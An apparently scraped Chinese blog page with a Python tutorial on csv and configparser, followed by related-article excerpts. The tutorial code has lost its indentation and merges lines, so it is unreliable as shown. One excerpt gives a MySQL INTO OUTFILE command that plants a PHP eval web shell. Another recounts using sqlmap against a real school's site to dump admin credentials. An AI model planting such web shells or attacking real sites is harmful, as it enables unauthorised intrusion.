1.csv文件简介

csv是一个被行分隔符,列分隔符划分成行和列的文本
csv不指定字符编码
行分隔符为\r\n,最后一行可以没有换行符
列分隔符常为逗号和制表符
每一行称之为record

 

from pathlib import Path
p = Path("test.csv")
csv_body = '''\
id,name,age,comment
1,zs,18,"i'm 18"
2,ls,20,"this is a test string"
3,ww,23,"你好"
'''
p.write_text(csv_body)
print("-----------------------------------")
csv_body = '''\
id,name,age,comment
1,zs,18,"i'm 18"
2,ls,20,"this is a test string"
3,ww,23,"你好"
'''
with open('test.csv','w+') as f:
f.write(csv_body)
print("------------------------------------")

2.csv模块

reader()
返回一个DdictReader对象,是一个行迭代器
delimiter 列分隔符,逗号
lineterminator 行分隔符\r\n
quotechar 字段引用符号,缺省为“。双引号 writer()
返回dictwriter的实例
主要方法有writerow,writerows,writerow(iterable)
import csv
with open('test.csv') as f:
reader = csv.reader(f)
for i in reader:
print(i)
import csv
from pathlib import Path
filename = "test.csv" csv_body = """id,name,age,comment
1,harden,28,nba player
2,curry,29,mvp
3,james,34,champion
""" rows = [[4,'durant',29,'Scoring king']] with open(filename,'a+') as f:
f.write(csv_body)
writer=csv.writer(f)
writer.writerows(rows) with open(filename,'r+') as r:
reader = csv.reader(r)
for i in reader:
if i:
print(i)

3.ini文件处理,作为配置文件ini文件很流行

#用来操作ini文件;可以讲section当作key,section存储着键值对组成的字典,可以把ini文件当作一个嵌套的字典,默认使用有序字典
#中括号里面的部分称之为section,没一个section之内,都是key,value形成的键值对,key称为option选项
import configparser
from configparser import ConfigParser filename = '../Initest.ini'
cfg = ConfigParser()
cfg.read(filename) for k,v in cfg.items():
# print(k,cfg.items(k))
print(k)
import json
import configparser
from configparser import ConfigParser filename = '../Initest.ini'
jsonname = 'jsontest.json'
cfg = ConfigParser()
cfg.read(filename) dic = {}
for sec in cfg.sections():
dic[sec] = dict(cfg.items(sec))
print(dic) with open(jsonname,'w') as f:
json.dump(dic,f)

Py't'hon之csv,ini&序列化,反序列化的更多相关文章

  1. 5) ModelSerializer(重点) 基表 测试脚本 多表关系建外键 正反查 级联 插拔式连表 序列化反序列化整合 增删查 封装response

    一.前戏要做好 配置:settings.py #注册drf INSTALLED_APPS = [ # ... 'api.apps.ApiConfig', 'rest_framework', ] ​ # ...

  2. php json与xml序列化/反序列化

    在web开发中对象的序列化与反序列化经常使用,比较主流的有json格式与xml格式的序列化与反序列化,今天想写个jsop的小demo,结果发现不会使用php序列化,查了一下资料,做个笔记 简单数组js ...

  3. 序列化反序列化api(入门级)

    定义: java序列化是指把Java对象转换为字节序列的过程:而Java反序列化是指把字节序列恢复为Java对象的过程. 为什么字符串通常也会进行序列化? 对象需要进行序列化的原因:保证对象的状态不变 ...

  4. python_way ,day5 模块,模块3 ,双层装饰器,字符串格式化,生成器,递归,模块倒入,第三方模块倒入,序列化反序列化,日志处理

    python_way.day5 1.模块3 time,datetime, json,pickle 2.双层装饰器 3.字符串格式化 4.生成器 5.递归 6.模块倒入 7.第三方模块倒入 8.序列化反 ...

  5. C#之你懂得的序列化/反序列化

    前言:写此文章一方面是为了巩固对序列化的认识,另一方面是因为本人最近在面试,面试中被问到“为什么要序列化”.虽然一直在使用,自己也反复的提到序列化,可至于说为什么要序列化,还真的没想过,所以本文就这样 ...

  6. springboot学习(三)——http序列化/反序列化之HttpMessageConverter

    以下内容,如有问题,烦请指出,谢谢! 上一篇说掉了点内容,这里补上,那就是springmvc的http的序列化/反序列化,这里简单说下如何在springboot中使用这个功能. 使用过原生netty ...

  7. java序列化反序列化深入探究

    When---什么时候需要序列化和反序列化: 简单的写一个hello world程序,用不到序列化和反序列化.写一个排序算法也用不到序列化和反序列化.但是当你想要将一个对象进行持久化写入文件,或者你想 ...

  8. java序列化反序列化深入探究(转)

    When---什么时候需要序列化和反序列化: 简单的写一个hello world程序,用不到序列化和反序列化.写一个排序算法也用不到序列化和反序列化.但是当你想要将一个对象进行持久化写入文件,或者你想 ...

  9. C# XML序列化/反序列化参考

    .NET提供了很不错的XML序列化/反序列化器,(它们所在的命名空间为System.Xml.Serialization)这是很方便的,下面对它的使用做一些总结,以供参考. 1,简单序列化 public ...

随机推荐

  1. data.frame类型数据如何将第一列值替换为行号

    data.frame类型数据如何将第一列值替换为行号 row.names(data) <- data[, 1]data <- data[, -1]

  2. 怎样写一个PC端使用的操盘手软件(用来买卖股票,查看报表,行情)

    我们想写一个操盘手软件,对于操盘而言,首先是快,然后是资料尽可能丰富,最好能看到行情,报表什么的.只是windows上写软件看似基础,实际上都不怎么好弄,用C++开发确实可以实现所有功能,估计光研发费 ...

  3. wampserver2.2e-php5.3.13 版本 增加 php7 支持

    公司需要升级PHP版本至PHP7,对于用惯了wamp的来说,添加一下PHP扩展应该是很容易的,看我以前的文章(WampServer自己DIY添加apache.php.mysql版本). 不过再配置的当 ...

  4. thinkcmf 5关闭后台验证码

    控制器修改 D:\cmf\thinkcmf\app\admin\controller\PublicController.php 注释 /* $captcha = $this->request-& ...

  5. linux的基本操作(RPM包或者安装源码包)

    RPM包或者安装源码包 在windows下安装一个软件很轻松,只要双击.exe的文件,安装提示连续“下一步”即可,然而linux系统下安装一个软件似乎并不那么轻松了,因为我们不是在图形界面下.所以你要 ...

  6. mysql拿webshell总结

    1.select '<?php eval($_POST[jumbo]) ?>' into outfile '/var/www/jumbo.php'; 2.select '<?php ...

  7. smartFloat

    $.fn.smartFloat = function() {     var position = function(element) {         var top = element.posi ...

  8. 实战一个职业技术学校。 by:hack某某

    这是我们的目标,某一技术学院,这是一个注入点 上sqlmap 跑出了管理账号密码 扫后台 没有找到,注入就相当鸡肋了 换换其他思路 dba权限,想到了直接写入 找找路径之类的 找到了,运气相当的好 直 ...

  9. [Day13]static、final、匿名对象、内部类、包、修饰符、代码块

    1.final-最终 (1)final的特点 final修饰类不可以被继承,但是可以继承其他类 final修饰的方法不可以被覆盖,但父类中没有final修饰方法,子类覆盖后可以加final final ...

  10. java学习笔记-集合set

    equals指内容(值)相等,== 指地址相等 ===============set类 set继承自collection,但set没有新增方法,只是set里的元素不重复,下面是set常用方法 ==== ...